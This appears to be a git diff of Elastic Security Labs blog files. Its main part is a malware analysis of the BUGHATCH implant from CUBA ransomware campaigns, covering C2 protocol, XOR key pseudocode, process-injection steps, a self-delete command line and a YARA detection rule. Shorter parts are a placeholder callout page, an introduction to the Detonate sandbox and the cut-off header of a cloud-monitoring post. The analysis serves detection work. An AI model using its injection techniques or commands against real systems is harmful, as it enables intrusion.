||||
- ref9019
|
||||
---
|
||||
|
||||
## Key takeaways
|
||||
|
||||
- Elastic Security Labs is releasing a BUGHATCH malware analysis report from a recent [campaign](https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis)
|
||||
- This report covers detailed code analysis, network communication protocols, command handling, and observed TTPs
|
||||
- From this research we produced a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar) to detect the BUGHATCH downloader
|
||||
|
||||
## Preamble
|
||||
|
||||
BUGHATCH is an implant of a custom C2 deployed during the CUBA ransomware campaigns we observed in February of 2022, this tool was most likely built by the threat actor themselves as it was not used previously.
|
||||
|
||||
BUGHATCH is capable of downloading and executing commands and arbitrary code, it gives the operator the freedom to execute payloads with different techniques like reflection, shellcode execution, system command execution, and so on. The samples we have seen were not obfuscated and were deployed using a custom obfuscated in-memory dropper written in PowerShell and referred to as [TERMITE by Mandiant](https://www.mandiant.com/resources/unc2596-cuba-ransomware).
|
||||
|
||||
In this document, we will go through the execution flow of BUGHATCH highlighting its functionalities and code execution techniques, a YARA rule and the MITRE ATT&CK mapping can be found in the appendix.
|
||||
|
||||
In this analysis we will describe the following:
|
||||
|
||||
- Token adjustment
|
||||
- Information collection
|
||||
- Threading and thread synchronization
|
||||
- Network communication protocol
|
||||
- Command handling
|
||||
|
||||
> For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:
|
||||
>
|
||||
> - [CUBA Ransomware Campaign](https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis)
|
||||
> - [CUBA Malware Analysis](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis)
|
||||
|
||||
## Static analysis
|
||||
|
||||
| | |
|
||||
| ------------ | ---------------------------------------------------------------- | --- |
|
||||
| SHA256 | F1325F8A55164E904A4B183186F44F815693A008A9445D2606215A232658C3CF |
|
||||
| File Size | 35840 bytes |
|
||||
| File Type: | Win32 executable |
|
||||
| Signed? | No |
|
||||
| Packer? | No |
|
||||
| Compiler | Visual Studio 2017 - 15.5.0 preview 2 |
|
||||
| Compile Time | Sun Feb 06 21:05:18 2022 | UTC |
|
||||
| Entropy | 6.109 |
|
||||
|
||||
### Sections
|
||||
|
||||
| | | | | | |
|
||||
| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |
|
||||
| Name | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5 |
|
||||
| .text | 0x1000 | 0x6000 | 0x5400 | 5.933 | A6E30CCF838569781703C943F18DC3F5 |
|
||||
| .rdata | 0x7000 | 0x3000 | 0x2A00 | 6.217 | 9D9AD1251943ECACE81644A7AC320B3C |
|
||||
| .data | 0xA000 | 0x1000 | 0x400 | 1.163 | B983B8EB258220628BE2A88CA44286B4 |
|
||||
| .reloc | 0xB000 | 0x424 | 0x600 | 5.235 | 39324A58D79FC5B8910CBD9AFBF1A6CB |
|
||||
|
||||
## Code analysis
|
||||
|
||||
BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs ( **VirtualAlloc** , **CreateThread, WaitForSingleObject** ).
|
||||
|
||||
The PowerShell loader uses inline C# to load APIs needed for shellcode injection as seen in the following pseudocode.
|
||||
|
||||

|
||||
|
||||
The PowerShell script is obfuscated with random functions and variable names and contains the shellcode in a reverse-Base64 format.
|
||||
|
||||

|
||||
|
||||
The script first decodes the reverse-Base64 encoded data, then allocates a memory region with **VirtualAlloc** before copying the shellcode into it. Finally, the script executes the shellcode by creating a new thread with the **CreateThread** API.
|
||||
|
||||

|
||||
|
||||
The shellcode downloads another shellcode blob and the encrypted PE implant from the C2 server, this second shellcode decrypts and reflectively loads the PE malware.
|
||||
|
||||
This section dives deeper into the BUGHATCH execution flow, threading and encryption implementation, communication protocol with C2, and finally supported commands and payload execution techniques implemented.
|
||||
|
||||
The following is a diagram summarizing the execution flow of the implant:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Token adjustment
|
||||
|
||||
The implant starts by elevating permissions using the **SeDebugPrivilege** method, enabling the malware to access and read the memory of other processes. It leverages common Windows APIs to achieve this as shown in the pseudocode below:
|
||||
|
||||

|
||||
|
||||
### Information collection
|
||||
|
||||
The malware collects host-based information used to fingerprint the infected system, this information will be stored in a custom structure that will be 2-byte XOR encrypted and sent to the C2 server in an HTTP POST request.
|
||||
|
||||
The following lists the collected information:
|
||||
|
||||
- Current value of the performance counter
|
||||
- Network information
|
||||
- System information
|
||||
- Token information
|
||||
- Domain and Username of the current process
|
||||
- Current process path
|
||||
|
||||
#### Current value of the performance counter
|
||||
|
||||
Using the **QueryPerformanceCounter** API, it collects the amount of time since the system was last booted. This value will be used to compute the 2-byte XOR encryption key to encrypt communications between the implant and the C2 server, a detailed analysis of the encryption implementation will follow.
|
||||
|
||||

|
||||
|
||||
#### Network information
|
||||
|
||||
It collects the addresses of network interfaces connected to the infected machine by using the **GetIpAddrTable** Windows API.
|
||||
|
||||

|
||||
|
||||
#### System information
|
||||
|
||||
BUGHATCH collects key system information which includes:
|
||||
|
||||
- Windows major release, minor release, and build number
|
||||
- Processor architecture (either 32-bit or 64-bit)
|
||||
- Computer name
|
||||
|
||||

|
||||
|
||||
#### Token information
|
||||
|
||||
The agent proceeds to collect the current process token group membership, it invokes the **AllocateAndInitializeSid** API followed by the **CheckTokenMembership** API, concatenating the [SDDL SID strings](https://docs.microsoft.com/en-us/windows/win32/secauthz/sid-strings) for every group the process token is part of. While not unique to BUGHATCH, this is detected by Elastic's [Enumeration of Privileged Local Groups Membership](https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html) detection rule.
|
||||
|
||||

|
||||
|
||||
#### Domain and username of the current process
|
||||
|
||||
The malware opens a handle to the current process with **OpenProcessToken** and gets the structure that contains the user account of the token with **GetTokenInformation**. It then retrieves the username and domain of the user account with the **LookupAccountSidW** API and concatenates the 2 strings in the following format: **DOMAIN\USERNAME**.
|
||||
|
||||

|
||||
|
||||
#### Current process path
|
||||
|
||||
Finally, it collects the current process path with **GetModuleFileNameW**. The malware then encrypts the entire populated structure with a simple 2-byte XOR algorithm, this encryption implementation is detailed later in the report.
|
||||
|
||||
## Threading and thread synchronization
|
||||
|
||||
The implant is multithreaded; it uses two different linked lists, one is filled with the commands received from the C2 server and the other is filled with the output of the commands executed.
|
||||
|
||||
It spawns 5 worker threads, each handling a command received from the C2 server by accessing the appropriate linked list using the **CriticalSection** object. The main process’ thread also retrieves the command's output from the second linked list using the **CriticalSection** object for synchronization purposes, to avoid any race conditions.
|
||||
|
||||

|
||||
|
||||
## Network communication protocol
|
||||
|
||||
In this section we will detail:
|
||||
|
||||
- Base communication protocol
|
||||
- Encryption implementation
|
||||
|
||||
The implant we analyzed uses HTTP(S) for communications. On top of the SSL encryption of the protocol, the malware and C2 encrypt the data with a 2-byte XOR key computed by the malware for each new session. The values to compute the 2-byte XOR key are prepended at the beginning of the base protocol packet which the server extracts to decrypt/encrypt commands.
|
||||
|
||||
When launched, the malware will first send an HTTP POST request to the C2 server containing all the collected information extracted from the victim’s machine, the C2 then responds with the operator’s command if available, or else the agent sleeps for 60 seconds. After executing the command and only if the output of the executed command is available, the malware will send a POST request containing both the collected information and the command’s output, otherwise, it sends the collected information and waits for new commands.
|
||||
|
||||

|
||||
|
||||
### Base communication protocol
|
||||
|
||||
The author(s) of BUGHATCH implemented a custom network protocol, the following is the syntax that the agent and server use for their communication:
|
||||
|
||||

|
||||
|
||||
- **XOR key values:** The values to compute the 2-byte XOR encryption key used to encrypt the rest of the data
|
||||
- **Separator:** A static value ( **0x389D3AB7** ) that separates **Msg** chunks, example: the server can send different instructions in the same HTTP request separated by the **Separator**
|
||||
- **Chunk length:** Is the length of the **Msg** , **Separator** and **Chunk length**
|
||||
- **Msg:** Is the message to be sent, the message differs from the agent to the server.
|
||||
|
||||
We will dive deeper into the encapsulation of the **Msg** for both the agent and the server.
|
||||
|
||||

|
||||
|
||||
### Encryption implementation
|
||||
|
||||
The malware uses 2-byte XOR encryption when communicating with the C&C server; a 2-byte XOR key is generated and computed by the implant for every session with the C2 server.
|
||||
|
||||
The agent uses two DWORD values returned by **QueryPerformanceCounter** API as stated earlier, it then computes a 2-byte XOR key by XOR-encoding the DWORD values and then multiplying and adding hardcoded values. The following is a Python pseudocode of how the KEY is computed:
|
||||
|
||||
```
|
||||
tmp = (PerformanceCount[0] ^ PerformanceCount[1]) & 0xFFFFFFFF
|
||||
XorKey = (0x343FD * tmp + 0x269EC3)& 0xFFFFFFFF
|
||||
XorKey = p16(XorKey >> 16).ljust(2, b'\x00')
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Command handling
|
||||
|
||||
In this section, we will dive deeper into the functionalities implemented in the agent and their respective **Msg** structure that will be encapsulated in the base communication protocol structure as mentioned previously.
|
||||
|
||||
Once the working threads are started, the main thread will continue beaconing to the C2 server to retrieve commands. The main loop is made up of the following:
|
||||
|
||||
- Send POST request
|
||||
- Decrypt the received command and add it to the linked list
|
||||
- Sleep for 60 seconds
|
||||
|
||||
A working thread will first execute the **RemoveEntryRecvLinkedList** function that accesses and retrieves the data sent by the C2 server from the linked list.
|
||||
|
||||

|
||||
|
||||
The thread will then de-encapsulate the data received from the C2 and extract the **Msg(Command)**. The malware implements different functionalities according to a command flag, the table below illustrates the functionalities of each command:
|
||||
|
||||
| | |
|
||||
| ------------ | --------------------------------------------------------------------- |
|
||||
| Command FLAG | Description |
|
||||
| 1 | Group functions related to code and command execution |
|
||||
| 2 | Group functions related to utilities like impersonation and migration |
|
||||
| 3 | Process injection of a PE file in a suspended child process |
|
||||
|
||||
### Command 1
|
||||
|
||||
This command gives access to functionalities related to payload execution, from DLL to PE executable to PowerShell and cmd scripts.
|
||||
|
||||
Some of the sub-commands use pipes to redirect the standard input/output of the child process, which enables the attacker to execute payloads and retrieve its output, for example, PowerShell or Mimikatz, etc…
|
||||
|
||||
The following is the list of sub commands:
|
||||
|
||||
| | | |
|
||||
| ---------------- | --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Sub Command Flag | Function Name | Functionality description |
|
||||
| 2 | ReflectivelyExecutePERemote | Reflectively loads PE files in a child process and redirects its standard input output, the output will be sent to the operator C2 server |
|
||||
| 3 | DropPEDiskExecute | Drops a PE file to disk and executes it, the execution output is then sent to the operator’s C2 server |
|
||||
| 4 | SelfShellcodeExecute | Executes a shellcode in the same process |
|
||||
| 5 | RemoteShellcodeExecute | Executes a shellcode in a suspended spawned child process |
|
||||
| 6 | ExecuteCmd | Executes a CMD script/command |
|
||||
| 7 | ExecutePowershell | Executes a Powershell script/command |
|
||||
| 9 | ReflectivelyLoadDllRemote | Executes a DLL reflectively in a remote process using CreateRemoteThread API |
|
||||
|
||||
The following is the structure that is used by the above commands:
|
||||
|
||||
```
|
||||
struct ExecutePayloadCommandStruct
|
||||
{
|
||||
DWORD commandFlag;
|
||||
DWORD field_0;
|
||||
DWORD subCommandFlag_1;
|
||||
DWORD readPipeTimeOut_2;
|
||||
DWORD payloadSize_3;
|
||||
DWORD commandLineArgumentSize_4;
|
||||
DWORD STDINDataSize_5;
|
||||
CHAR payload_cmdline_stdin[n];
|
||||
};
|
||||
```
|
||||
|
||||
- **commandFlag:** Indicates the command
|
||||
- **subCommandFlag:** Indicates the subcommand
|
||||
- **readPipeTimeOut:** Indicates the timeout for reading the output of child processes from a pipe
|
||||
- **payloadSize:** Indicates the payload size
|
||||
- **commandLineArgumentSize:** Indicates length of the command line arguments when executing the payload, example a PE binary
|
||||
- **STDINDataSize:** Indicates the length of the standard input data that will be sent to the child process
|
||||
- **Payload_cmdline_stdin:** Can contain the payload PE file for example, its command line arguments and the standard input data that will be forwarded to the child process, the malware knows the beginning and end of each of these using their respective length.
|
||||
|
||||
#### ReflectivelyExecutePERemote
|
||||
|
||||
The agent reflectively loads PE binaries in the memory space of a created process in a suspended state (either **cmd.exe** or **svchost.exe** ). The agent leverages [anonymous (unnamed) pipes](https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes) within Windows to redirect the created child process's standard input and output handles. It first creates an anonymous pipe that will be used to retrieve the output of the created process, then the pipe handles are specified in the **STARTUPINFO** structure of the child process.
|
||||
|
||||

|
||||
|
||||
After creating the suspended process, the malware allocates a large memory block to write shellcode and a XOR encrypted PE file.
|
||||
|
||||
The shellcode will 2-byte XOR decrypt and load the embedded PE similar to ( **Command 3** ). This command can load 64bit and 32bit binaries, each architecture has its own shellcode PE loader, after injecting the shellcode it will point the instruction pointer of the child process’s thread to the shellcode and resume the thread.
|
||||
|
||||

|
||||
|
||||
The following is an example of a packet captured from our custom emulated C2 server, we can see the structure discussed earlier on the left side and the packet bytes on the right side, for each command implemented in the malware, a packet example will be given.
|
||||
|
||||

|
||||
|
||||
#### DropPEDiskExecute
|
||||
|
||||
With this subcommand, the operator can drop a PE file on disk and execute it. The agent has 3 different implementations depending on the PE file type, GUI Application, CUI (Console Application), or a DLL.
|
||||
|
||||
For CUI binaries, the malware first generates a random path in the temporary folder and writes the PE file to it using **CreateFileA** and **WriteFile** API.
|
||||
|
||||

|
||||
|
||||
It then creates a process of the dropped binary file as a child process by redirecting its standard input and output handles; after execution of the payload the output is sent to the operator’s C2 server.
|
||||
|
||||
For GUI PE binaries, the agent simply writes it to disk and executes it directly with **CreateProcessA** API.
|
||||
|
||||
And lastly, for DLL PE files, the malware first writes the DLL to a randomly generated path in the temporary folder, then uses **c:\windows\system32\rundll32.exe** or **c:\windows\syswow64\rundll32.exe** (depending on the architecture of the DLL) to run either an exported function specified by the operator or the function **start** if no export functions were specified.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### SelfShellcodeExecute
|
||||
|
||||
This subcommand tasks the agent to execute shellcode in its own memory space by allocating a memory region using **VirtualAlloc** API and then copying the shellcode to it, the shellcode is executed by creating a thread using **CreateThread** API.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### RemoteShellcodeExecute
|
||||
|
||||
This sub-command can be used to execute a 32-bit or a 64-bit position independent shellcode in another process memory space.
|
||||
|
||||
Similarly to the **SpawnAgent** subcommand, the malware creates a suspended **svchost.exe** process with **CreateProcessA** API, allocates a memory region for the shellcode sent by the C2 server with **VirtualAllocEx** , and writes to it with **WriteProcessMemory** , it then sets the suspended thread instruction pointer to point to the injected shellcode with **SetThreadContext** and finally it will resume the thread with **ResumeThread** to execute the payload.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### ExecuteCmd and ExecutePowershell
|
||||
|
||||
An operator can execute PowerShell scripts or CMD scripts in the infected machine, the malware can either write the script to a file in the temporary folder with a randomly generated name as follow: **`TEMP<digits>.PS1`** for PowerShell or **`TEMP<digits>.CMD`** for a Command shell. The malware then passes parameters to it if specified by the malicious actor and executes it, the malware uses named pipes to retrieve the output of the PowerShell process.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### ReflectivelyLoadDllRemote
|
||||
|
||||
Execute reflectively a 32-bit or 64-bit DLL in a process created in a suspended state, the following summarizes the execution flow:
|
||||
|
||||
- Check if the PE file is a 32 or 64-bit DLL
|
||||
- Create a suspended **svchost.exe** process
|
||||
- Allocate memory for the DLL and the parameter for the DLL if specified by the C2 command with the **VirtualAllocEx** API
|
||||
- Write to the remotely allocated memory withthe **WriteProcessMemory** API the DLL and the parameter if specified
|
||||
- Create a remote thread to execute the injected DLL with the **CreateRemoteThread** API
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Command 2
|
||||
|
||||
The command 2 has multiple sub functionalities as shown in the command table above, according to a subCommandFlag the malware can do 6 different operations as follows:
|
||||
|
||||
| | | |
|
||||
| ---------------- | --------------------- | ---------------------------- |
|
||||
| Sub Command Flag | Function Name | Functionality description |
|
||||
| 1 | ExitProcess | Exit process |
|
||||
| 2 | SelfDeleteExitProcess | Self delete and exit process |
|
||||
| 3 | SpawnAgent64 | Spawn 64-bit agent |
|
||||
| 4 | SpawnAgent32 | Spawn 32-bit agent |
|
||||
| 0x1001 | ImpersonateToken | Impersonate explorer |
|
||||
| 0x1002 | MigrateC2 | Change C2 config |
|
||||
|
||||
The following is the structure that is used by the above commands:
|
||||
|
||||
```
|
||||
struct ImpersonateReplicateStruct
|
||||
{
|
||||
int subCommandFlag;
|
||||
int impersonateExplorerToken;
|
||||
char padding[16];
|
||||
__int16 isParameterSet;
|
||||
WCHAR w_parameters[n];
|
||||
};
|
||||
```
|
||||
|
||||
#### ExitProcess
|
||||
|
||||
Calls the **ExitProcess(0)** API to terminate.
|
||||
|
||||

|
||||
|
||||
#### SelfDeleteExitProcess
|
||||
|
||||
The agent gets the PATH of the current process with **GetModuleFileNameA** and then executes the following command to self-delete: **cmd.exe /c del FILEPATH \\>\\> NUL** using **CreateProcessA** then simply exit the process with **ExitProcess(0)**.
|
||||
|
||||

|
||||
|
||||
#### SpawnAgent64 and SpawnAgent32
|
||||
|
||||
When subcommands 3 or 4 are specified, the malware will spawn another agent on the same machine depending on the subcommand sent by the C2, as shown in the table above.
|
||||
|
||||
The malware first retrieves the C2 IP address embedded in it, it will then do an HTTP GET request to download a packed agent in shellcode format, in the sample we analyzed **/Agent32.bin** URI is for the 32-bit agent, and **/Agent64.bin** is for 64-bit the agent.
|
||||
|
||||

|
||||
|
||||
The malware then creates a suspended **svchost.exe** process with **CreateProcessA** API, writes the agent shellcode to the process, sets its instruction pointer to point to the injected shellcode with **SetThreadContext** , and finally it will resume the thread with **ResumeThread** to execute the injected payload.
|
||||
|
||||

|
||||
|
||||
#### ImpersonateToken
|
||||
|
||||
This subcommand is specific to process tokens; an attacker can either impersonate the **explorer.exe** token or create a token from credentials (Domain\Username, Password) sent by the C2 to spawn another instance of the current process.
|
||||
|
||||

|
||||
|
||||
It will first check if the current process is a local system account or local service account or network service account by testing whether the given process token is a member of the group with the specified RID ( **SECURITY_LOCAL_SYSTEM_RID** , **SECURITY_LOCAL_SERVICE_RID** , **SECURITY_NETWORK_SERVICE_RID** ) respectively.
|
||||
|
||||

|
||||
|
||||
Then depending if the operator specified credentials or not, the malware will first call **LogonUserW** with the Domain\User and password to create a token then it will spawn another instance of the current process with this token.
|
||||
|
||||

|
||||
|
||||
If not, the implant will impersonate the **explore.exe** process by duplicating its token with **DuplicateTokenEx** and then spawn the current process with the duplicated token if no credentials are specified.
|
||||
|
||||

|
||||
|
||||
#### MigrateC2
|
||||
|
||||
The operator can migrate the implant to another C2 server by specifying the subcommand **0x1001** with the IP address of the new C2.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
### Command 3
|
||||
|
||||
When command 3 is received the malware will reflectively load a PE file embedded as payload in the C&C request in another process's memory space, the following is an overview of the execution:
|
||||
|
||||
- Determine the type and architecture of the PE file
|
||||
- Create a suspended process
|
||||
- Allocate a large memory in the suspended process
|
||||
- Write a shellcode in the allocated memory that will locate, decrypt and reflectively load the PE file
|
||||
- 2-byte XOR encrypt the PE file and append it after the shellcode
|
||||
- Set the EIP context of the suspended process to execute the shellcode
|
||||
|
||||
The shellcode will then reflectively load the PE file
|
||||
|
||||

|
||||
|
||||
The agent first parses the PE file received from the C2 server to determine the type and architecture of the PE file.
|
||||
|
||||

|
||||
|
||||
And according to this information, a Windows signed executable will be chosen to inject into.
|
||||
|
||||
If the PE file is CUI (Console User Interface), the malware will choose **cmd.exe** , however, if it is GUI (Graphical User Interface) or a DLL PE file it will choose **svchost.exe**.
|
||||
|
||||

|
||||
|
||||
The malware will then create a suspended process with **CreateProcessA** API (either **cmd.exe** or **svchost.exe** ) and allocate a large amount of memory with **VirtualAllocEx** in the created process, it will then copy a position independent shellcode stored in the **.rdata** section to the newly allocated memory that is responsible for locating according to a specific tag the appended PE file, decrypt it and reflectively load it in memory.
|
||||
|
||||
Then it appends after the shellcode a 12 bytes structure composed of a tag, the size of the PE file, and a 2-byte XOR key.
|
||||
|
||||
It will then 2-byte XOR encrypt the PE file and append it after the structure, the following is an overview of the written data to the allocated memory:
|
||||
|
||||
| | | | | |
|
||||
| --------- | --- | ------- | -------------- | ---------------------------- |
|
||||
| SHELLCODE | TAG | PE SIZE | 2-byte XOR KEY | 2-byte XOR encrypted PE file |
|
||||
|
||||

|
||||
|
||||
The agent will then set the thread context with **SetThreadContext** and point the instruction pointer of the suspended process to the shellcode then it will simply resume the execution with **ResumeThread**.
|
||||
|
||||
The shellcode will first locate the 2-byte XOR encrypted PE file according to the tag value ( **0x80706050** ), it will then 2-byte XOR decrypt it and load it reflectively on the same process memory.
|
||||
|
||||
## Observed adversary tactics and techniques
|
||||
|
||||
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
- [Collection](https://attack.mitre.org/tactics/TA0009)
|
||||
- [Command and Control](https://attack.mitre.org/tactics/TA0011)
|
||||
- [Exfiltration](https://attack.mitre.org/tactics/TA0010)
|
||||
|
||||
### Techniques / sub techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Command and Scripting Interpreter: Windows Command Shell](https://attack.mitre.org/techniques/T1059/003/)
|
||||
- [Encrypted Channel: Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002/)
|
||||
- [Encrypted Channel: Symmetric Cryptography](https://attack.mitre.org/techniques/T1573/001/)
|
||||
- [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041/)
|
||||
- [Automated Collection](https://attack.mitre.org/techniques/T1119/)
|
||||
- [Native API](https://attack.mitre.org/techniques/T1106/)
|
||||
|
||||
## Detections
|
||||
|
||||
### Detection rules
|
||||
|
||||
The following detection rule was observed during the analysis of the BUGHATCH sample. This rule is not exclusive to BUGHATCH activity.
|
||||
|
||||
- [Enumeration of Privileged Local Groups Membership](https://www.elastic.co/guide/en/security/current/enumeration-of-privileged-local-groups-membership.html#enumeration-of-privileged-local-groups-membership)
|
||||
|
||||
### YARA rule
|
||||
|
||||
Elastic Security has created a [YARA rule](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Bughatch.yar) to identify this activity.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_BUGHATCH {
|
||||
meta:
|
||||
author = “Elastic Security”
|
||||
creation_date = "2022-05-09"
|
||||
last_modified = "2022-06-09"
|
||||
license = “Elastic License v2”
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BUGHATCH"
|
||||
threat_name = "Windows.Trojan.BUGHATCH"
|
||||
reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
|
||||
|
||||
strings:
|
||||
$a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
|
||||
$a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
|
||||
$a3 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
|
||||
$c1 = "-windowstyle hidden -executionpolicy bypass -file"
|
||||
$c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
|
||||
$c3 = "ReflectiveLoader"
|
||||
$c4 = "\\Sysnative\\"
|
||||
$c5 = "TEMP%u.CMD"
|
||||
$c6 = "TEMP%u.PS1"
|
||||
$c7 = "\\TEMP%d.%s"
|
||||
$c8 = "NtSetContextThread"
|
||||
$c9 = "NtResumeThread"
|
||||
|
||||
condition:
|
||||
any of ($a*) or 6 of ($c*)
|
||||
}
|
||||
```
|
|
@ -0,0 +1,31 @@
|
|||
---
|
||||
title: "Callout example"
|
||||
slug: "callout-example"
|
||||
date: "1883-1-1"
|
||||
description: "This is an article with callout examples."
|
||||
author:
|
||||
- slug: andrew-pease
|
||||
image: "../../security-labs-thumbnail.png"
|
||||
category:
|
||||
- slug: reports
|
||||
---
|
||||
|
||||
<Callout type="info" title="This is an info callout.">
|
||||
The content for the callout goes here. It can have **bold** or *italic* text,
|
||||
and can also include [links](https://www.elastic.co) if needed.
|
||||
</Callout>
|
||||
|
||||
<Callout type="warning" title="This is a warning callout.">
|
||||
The content for the callout goes here. It can have **bold** or *italic* text,
|
||||
and can also include [links](https://www.elastic.co) if needed.
|
||||
</Callout>
|
||||
|
||||
<Callout type="success" title="This is a success callout.">
|
||||
The content for the callout goes here. It can have **bold** or *italic* text,
|
||||
and can also include [links](https://www.elastic.co) if needed.
|
||||
</Callout>
|
||||
|
||||
<Callout type="danger" title="This is an danger callout.">
|
||||
The content for the callout goes here. It can have **bold** or *italic* text,
|
||||
and can also include [links](https://www.elastic.co) if needed.
|
||||
</Callout>
|
|
@ -0,0 +1,67 @@
|
|||
---
|
||||
title: "Click, Click… Boom! Automating Protections Testing with Detonate"
|
||||
slug: "click-click-boom-automating-protections-testing-with-detonate"
|
||||
date: "2023-05-04"
|
||||
description: "To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion."
|
||||
author:
|
||||
- slug: jessica-david
|
||||
- slug: hez-carty
|
||||
- slug: sergey-polzunov
|
||||
image: "blog-thumb-tools-various.jpg"
|
||||
category:
|
||||
- slug: tools
|
||||
- slug: security-research
|
||||
- slug: detection-science
|
||||
tags:
|
||||
- detonate
|
||||
---
|
||||
|
||||
## Preamble
|
||||
|
||||
Imagine you are an Endpoint artifact developer. After you put in the work to ensure protection against conventional shellcode injections or ransomware innovations, how do you know it actually works before you send it out into the world?
|
||||
|
||||
First, you set up your end-to-end system, which involves setting up several services, the infrastructure, network configuration, and more. Then, you run some malware; the data you collect answers questions about performance and efficacy, and may be an important research resource in the future. After you spend a day testing and gathering your results, you may want to run several hundred hashes over multiple kinds of operating systems and machine types, a daunting task if done entirely manually.
|
||||
|
||||
To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion. Our goal is to have it take security researchers only a couple of clicks to test our protections against malware. (Thus: click, click… boom!)
|
||||
|
||||
In this series of posts, we’ll: - Introduce Detonate and why we built it - Explore how Detonate works and the technical implementation details - Describe case studies on how our teams use it at Elastic - Discuss opening our efficacy testing to the community to help the world protect their data from attack
|
||||
|
||||
Interested in other posts on Detonate? Check out [Part 2 - Into The Weeds: How We Run Detonate](https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate) where we break down how Detonate works and dive deeper into the technical implementation.
|
||||
|
||||
## What is Detonate?
|
||||
|
||||
At a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. Detonate accepts a file hash (usually a SHA256) and performs the following actions:
|
||||
|
||||
- Prepares all files needed for detonation, including the malicious file
|
||||
- Provisions a virtual machine (VM) instance in a sandboxed environment, with limited connectivity to the outside world
|
||||
- Waits until file execution completes; this happens when, for example, an execution result file is found or the VM instance is stopped or older than a task timeout
|
||||
- Stops the running VM instance (if necessary) and cleans up the sandboxed environment
|
||||
- Generates an event summary based on telemetry and alerts produced during detonation
|
||||
|
||||
The results of these detonations are made available to the team for research and development purposes. By post-processing the logs, events, and alerts collected during detonation, we can enrich them with third-party intelligence and other sources to evaluate the efficacy of new and existing Elastic Security protection features.
|
||||
|
||||
## What does it help us with?
|
||||
|
||||
### Measuring Efficacy
|
||||
|
||||
To build the best EPP on the market, we have to continuously measure the effectiveness of our product against the latest threats. Detonate is used to execute many tens of thousands of samples every month from our data feeds. Gaps in coverage are automatically identified and used to prioritize improvements to our protections.
|
||||
|
||||
### Supporting existing protections
|
||||
|
||||
Many of our protections have associated artifacts (such as machine learning models and rule definitions) which receive regular updates. These updates need testing to ensure we identify and remediate regressions before they end up in a user’s environment.
|
||||
|
||||
Detonate provides a framework and suite of tools to automate the analysis involved in this testing process. By leveraging a corpus of hashes with known good and bad software, we can validate our protections before they are deployed to users.
|
||||
|
||||
### Threat research
|
||||
|
||||
Some of our security researchers scour the internet daily for new and emerging threats. By giving them an easy-to-use platform to test malicious software they find in the wild, we better understand how Elastic Security defends against those threats or if we need to update our protections.
|
||||
|
||||
### Evaluating new protections
|
||||
|
||||
In addition to testing existing protections, new protections run the risk of adverse interactions with our existing suite of layered capabilities. A new protection may be easily tested on its own, but tests may hide unintended interactions or conflicts with existing protections. Detonate provides a way for us to customize the configuration of the Elastic Stack and individual protections to more easily find and identify such conflicts earlier in development.
|
||||
|
||||
## What’s next?
|
||||
|
||||
In this publication, we introduced Detonate & what we use it for at Elastic. We discussed the benefits it provides our team when assessing the performance of our security artifacts.
|
||||
|
||||
Now that you know what it is, we will break down how Detonate works. In our next post, we’ll dive deeper into the technical implementation of Detonate and how we’re able to create this sandboxed environment in practice.
|
|
@ -0,0 +1,193 @@
|
|||
---
|
||||
title: "Security operations: Cloud monitoring and detection with Elastic Security"
|
||||
slug: "cloud-monitoring-and-detection-with-elastic-security"
|
||||
date: "2022-11-30"
|
||||
description: "As companies migrate to cloud, so too do opportunist adversaries. That's why our Elastic Security team members have created free detection rules for protecting users' cloud platforms like AWS and Okta. Learn more in this blog post."
|
||||
author:
|
||||
- slug: brent-murphy
|
||||
- slug: david-french
|
||||
- slug: elastic-security-intelligence-analytics-team
|
||||
